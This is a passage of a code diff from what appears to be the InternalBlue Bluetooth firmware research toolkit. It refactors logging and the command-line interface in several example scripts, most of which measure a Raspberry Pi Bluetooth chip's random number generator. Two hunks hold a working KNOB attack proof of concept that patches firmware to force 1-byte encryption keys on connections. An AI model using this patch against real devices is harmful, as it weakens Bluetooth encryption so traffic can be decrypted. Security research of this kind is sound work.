internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x689F0) # connection struct key entropy
|
||||
@@ -36,32 +41,24 @@ internalblue.patchRom(Address(0x689F0), patch)
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204127, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
internalblue.logger.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
class KnobCommands(CommandSet):
|
||||
knob_parser = argparse.ArgumentParser()
|
||||
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
@cmd2.with_argparser(knob_parser)
|
||||
def work(self, args):
|
||||
"""Debugs which key length is currently active within a connection handle."""
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
@@ -76,21 +73,19 @@ def hciKnobCallback(record):
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
internalblue.logger.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+23
-33
@@ -2,16 +2,16 @@
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
@@ -123,33 +123,27 @@ internalblue.interface = internalblue.device_list()[0][1] # just use the first
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
"""
|
||||
@@ -166,22 +160,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -197,13 +188,13 @@ while rounds > i:
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
@@ -213,10 +204,9 @@ f = open("rpi3-randomdata-%irounds.bin" % rounds, "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+27
-37
@@ -2,16 +2,16 @@
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
@@ -117,40 +117,33 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -159,6 +152,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -166,22 +161,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:9] == b'\x00\x00\x00\x00\x55\x0d\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -192,31 +184,29 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("raspi3_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -3,17 +3,16 @@
|
||||
# Jiska Classen
|
||||
|
||||
# Get receive statistics on a Raspberry Pi 3 for BLE connection events
|
||||
from pwnlib.asm import asm
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
|
||||
internalblue = HCICore()
|
||||
device_list = internalblue.device_list()
|
||||
if len(device_list) == 0:
|
||||
log.warn("No HCI devices connected!")
|
||||
internalblue.logger.warning("No HCI devices connected!")
|
||||
exit(-1)
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
internalblue.interface = device_list[0][1] # just use the first device
|
||||
|
||||
RX_DONE_HOOK_ADDRESS = Address(0x56622) # _connTaskRxDone
|
||||
HOOKS_LOCATION = 0x210500
|
||||
@@ -68,22 +67,21 @@ ASM_HOOKS = """
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
# Install hooks
|
||||
code = asm(ASM_HOOKS, vma=HOOKS_LOCATION)
|
||||
log.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
internalblue.logger.info("Writing hooks to 0x%x..." % HOOKS_LOCATION)
|
||||
if not internalblue.writeMem(HOOKS_LOCATION, code):
|
||||
log.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
internalblue.logger.critical("Cannot write hooks at 0x%x" % HOOKS_LOCATION)
|
||||
exit(-1)
|
||||
|
||||
log.info("Installing hook patch...")
|
||||
internalblue.logger.info("Installing hook patch...")
|
||||
patch = asm("b 0x%x" % HOOKS_LOCATION, vma=RX_DONE_HOOK_ADDRESS)
|
||||
if not internalblue.patchRom(RX_DONE_HOOK_ADDRESS, patch):
|
||||
log.critical("Installing patch for _connTaskRxDone failed!")
|
||||
internalblue.logger.critical("Installing patch for _connTaskRxDone failed!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("--------------------")
|
||||
log.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("To see statistics, execute 'internalblue' and run 'log_level debug'.")
|
||||
|
||||
@@ -1,10 +1,18 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
from internalblue import Address
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.pwnlib_wrapper import log, asm
|
||||
import sys
|
||||
import argparse
|
||||
from argparse import Namespace
|
||||
|
||||
import cmd2
|
||||
from cmd2 import CommandSet
|
||||
from pwnlib.asm import asm
|
||||
|
||||
from internalblue import Address, hci
|
||||
from internalblue.cli import InternalBlueCLI, auto_int
|
||||
from internalblue.hcicore import HCICore
|
||||
from internalblue.utils.packing import p16, u16
|
||||
|
||||
"""
|
||||
This is a standalone PoC for the KNOB attack on a Raspberry Pi 3+/4.
|
||||
@@ -16,17 +24,15 @@ This PoC is much shorter since it only modifies global variables for key entropy
|
||||
|
||||
"""
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installing patch which ensures that send_LMP_encryptoin_key_size_req is always len=1!")
|
||||
internalblue.logger.info("Installing patch which ensures that send_LMP_encryption_key_size_req is always len=1!")
|
||||
|
||||
# modify function lm_SendLmpEncryptKeySizeReq
|
||||
patch = asm("mov r2, #0x1", vma=0x3B3D4) # connection struct key entropy
|
||||
@@ -35,32 +41,24 @@ internalblue.patchRom(Address(0x3B3D4), patch)
|
||||
# modify global variable for own setting
|
||||
internalblue.writeMem(0x204A5F, b'\x01') # global key entropy
|
||||
|
||||
|
||||
log.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
internalblue.logger.info("-----------------------\n"
|
||||
"Installed KNOB PoC. If connections to other devices succeed, they are vulnerable to KNOB.\n"
|
||||
"Monitoring device behavior is a bit tricky on Linux, LMP messages might appear in btmon.\n"
|
||||
"For more details, see special instructions for BlueZ.\n"
|
||||
"-----------------------KNOB-----------------------\n"
|
||||
"Automatically continuing on KNOB interface...\n"
|
||||
"Use the 'knob' command to *debug* the attack, i.e.:\n"
|
||||
" knob --hnd 0x0c\n"
|
||||
"...shows the key size of handle 0x000c.\n")
|
||||
|
||||
|
||||
class CmdKnob(cmd.Cmd):
|
||||
"""
|
||||
Introduce a new CLI command to make KNOB debugging easier...
|
||||
"""
|
||||
keywords = ["knob"]
|
||||
description = "Debugs which key length is currently active within a connection handle."
|
||||
class KnobCommands(CommandSet):
|
||||
knob_parser = argparse.ArgumentParser()
|
||||
knob_parser.add_argument("--hnd", type=auto_int, default=0x000c, help="Handle KNOB connection.")
|
||||
|
||||
parser = cmd.argparse.ArgumentParser(prog=keywords[0], description=description)
|
||||
|
||||
parser.add_argument("--hnd", type=auto_int, default=0x000c,
|
||||
help="Handle KNOB connection.")
|
||||
|
||||
def work(self):
|
||||
args = self.getArgs()
|
||||
@cmd2.with_argparser(knob_parser)
|
||||
def work(self, args):
|
||||
"""Debugs which key length is currently active within a connection handle."""
|
||||
internalblue.sendHciCommand(hci.HCI_COMND.Encryption_Key_Size, p16(args.hnd))
|
||||
return True
|
||||
|
||||
@@ -75,21 +73,19 @@ def hciKnobCallback(record):
|
||||
|
||||
if hcipkt.event_code == 0x0e:
|
||||
if u16(hcipkt.data[1:3]) == 0x1408: # Read Encryption Key Size
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
log.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
if hcipkt.data[3] == 0x12: # Error
|
||||
internalblue.logger.info("No key size available.\n"
|
||||
" - Did you already negotiate an encrypted connection?\n"
|
||||
" - Did you choose the correct connection handle?\n")
|
||||
else:
|
||||
log.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
internalblue.logger.info("HCI_Read_Encryption_Key_Size result for handle 0x%x: %x" % (u16(hcipkt.data[4:6]), hcipkt.data[6]))
|
||||
|
||||
return
|
||||
|
||||
|
||||
# add our command
|
||||
cmd.CmdKnob = CmdKnob
|
||||
internalblue.registerHciCallback(hciKnobCallback)
|
||||
|
||||
|
||||
# enter CLI
|
||||
cli.commandLoop(internalblue)
|
||||
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
+27
-39
@@ -2,16 +2,16 @@
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
@@ -38,7 +38,6 @@ MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x1000 # run this often (x5 bytes)
|
||||
FUN_RNG = 0x6672A # original RNG function that we overwrite with bx lr
|
||||
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
@@ -122,41 +121,31 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
#adb.process(["su", "-c", "svc wifi disable"])
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -165,6 +154,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -172,23 +163,20 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -199,29 +187,29 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
internalblue.logger.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("rpi3p-randomdata-%irounds.bin" % rounds, "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
internalblue.logger.info("--------------------")
|
||||
internalblue.logger.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
internalblue._teardownSockets()
|
||||
# enter CLI
|
||||
cli = InternalBlueCLI(Namespace(data_directory=None, verbose=False, trace=None, save=None), internalblue)
|
||||
sys.exit(cli.cmdloop())
|
||||
|
||||
@@ -2,16 +2,16 @@
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
import sys
|
||||
from argparse import Namespace
|
||||
|
||||
import numpy as np
|
||||
from pwnlib.asm import asm
|
||||
|
||||
import internalblue.hci as hci
|
||||
from internalblue.cli import InternalBlueCLI
|
||||
from internalblue.hcicore import HCICore
|
||||
|
||||
"""
|
||||
Measure the RNG of the Raspberry Pi 3.
|
||||
@@ -118,41 +118,31 @@ ASM_SNIPPET_RNG = """
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
internalblue.logger.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
internalblue.logger.info("installing assembly patches...")
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=None):
|
||||
internalblue.logger.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
internalblue.logger.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
#adb.process(["su", "-c", "svc wifi disable"])
|
||||
internalblue.logger.info("Installed all RNG hooks.")
|
||||
os.system("sudo rfkill block wifi")
|
||||
|
||||
log.info("Disabled Wi-Fi core.")
|
||||
|
||||
|
||||
|
||||
internalblue.logger.info("Disabled Wi-Fi core.")
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
@@ -161,6 +151,8 @@ than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
|
||||
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
@@ -168,23 +160,19 @@ def rngStatusCallback(record):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:21] == b'\x2e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00':
|
||||
log.debug("Random data done!")
|
||||
internalblue.logger.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
internalblue.logger.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
@@ -195,28 +183,29 @@ while rounds > i:
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS * 5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
internalblue.logger.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
